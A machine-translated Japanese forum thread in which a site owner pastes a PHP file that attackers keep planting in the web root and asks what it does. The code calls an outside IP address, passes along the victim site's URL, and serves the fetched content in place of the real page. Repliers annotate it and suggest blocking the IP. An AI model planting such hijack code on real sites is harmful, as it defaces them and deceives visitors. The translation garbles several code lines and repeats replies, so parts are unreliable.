ホームページ >バックエンド開発 >PHPチュートリアル >PHPコード、それが何を意味するのか理解するのを手伝ってください
私の Web サイトはハッキングされたようです。毎日、私の Web サイトのルート ディレクトリにアクセスし、次のようなコードを配置する SB がいます。
set_time_limit(0);
header(" Content-Type: text/html;charset=gb2312");
$Remote_server = "http://122.114.126.160/"; http://".$_SERVER['SERVER_NAME' ].$_SERVER['PHP_SELF'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$Content_mb=getHTTPPage($Remote_server."/index .html?host=".$host_name);
echo $Content_mb;
exit();
function getHTTPPage($url) {
$opts = array(
'http'= >array(
'メソッド'=> ;"GET",
'ヘッダー'=>"ユーザーエージェント: aQ0O010O"
)
); $context = stream_context_create( $opts);
$html = @file_get_contents ($url, false, $context);
if (empty($html)) {
exit("
接続エラー!
");
ディスカッションへの返信 (解決策)
については何も異常はありません私のウェブサイト (まだ見つかりません) 例外)
彼はあなたのウェブサイトの元のアドレスを自分で書いたメソッドに渡し、それをホストパラメータで受け入れて取得したようですあなたのホームページの情報
私 ウェブサイトには何も問題はありません (まだ異常は見つかりません)
Linux システムでは、現在の権限が 755 に設定されています。644 に設定されている場合、Web サイトを開くことができません。ファイルへのアクセスを防ぐ方法はありますか?
$Remote_server."/index.html?host=".$host_name ここで彼はあなたの Web サイトのアドレスを渡しましたが、その IP のサーバーではコードが表示されないので、どうすればよいかわかりません。 。 。 。 。 。彼が何をしようとしているのか見当もつかない。 。 。 。 。
サーバーの点がわかりません。専門家が助けてくれるのを待ちます
ありがとうございます
何か異常はありませんか?
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、関係ありません
何はともあれ、まず相手の IP を禁止し、サーバーを設定して、IP 122.114.126.160 があなたの Web サイトにアクセスすることを禁止します。
ページのコンテンツを置き換えました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
例外はありませんか?
set_time_limit(0); //タイムアウトしない
header("Content-Type: text/html;charset=gb2312"); //ブラウザの文字セットを指定します
$Remote_server = "http://122.114 .126.160/"; //リモート Web サイト
$host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']; //現在のページの URL を構築します
$userAgent = $_SERVER['HTTP_USER_AGENT'] // 視聴者のブラウザ情報を取得します
$Content_mb=getHTTPPage($Remote_server."/index.html?host=".$host_name); // リモート Web サイトを呼び出します
echo $Content_mb; //リモート Web サイトから返されたコンテンツを出力します
exit() //実行中のプログラムを終了します
function getHTTPPage($url) { //リモート Web サイト関数を呼び出します
$ opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"ユーザーエージェント: aQ0O010O"
)
);
$context = stream_context_create($opts);
$html = @file_get_contents($url, false, $context); // リモート Web サイトにアクセスする場合、URL も渡されます。 (empty($ html)) {
exit("
接続エラー!");
}
return $html;
}
相手は何をしたのか?まだ不明です
ローカル開発環境の場合、広告が返され通常のページが消えます
稼働中のWebサイトの場合、異常がなければ潜在的な脅威が大きいことを意味します( CSRF攻撃)
ちょっとした宣伝です、どうでもいいです
何はともあれ、まず相手の IP を禁止し、サーバーを設定してください。122.114.126.160 の IP があなたの Web サイトにアクセスすることを禁止します。
----------
コンテンツ交換されました。
まずプログラムに抜け穴があるかどうかを確認し、抜け穴が塞がれていない場合は、依然として多くの問題が発生する可能性があります。
内のファイルを置き換えます。 結果、タイプミスがあり、
結果的にタイプミスで外に残ったフォルダになってしまいました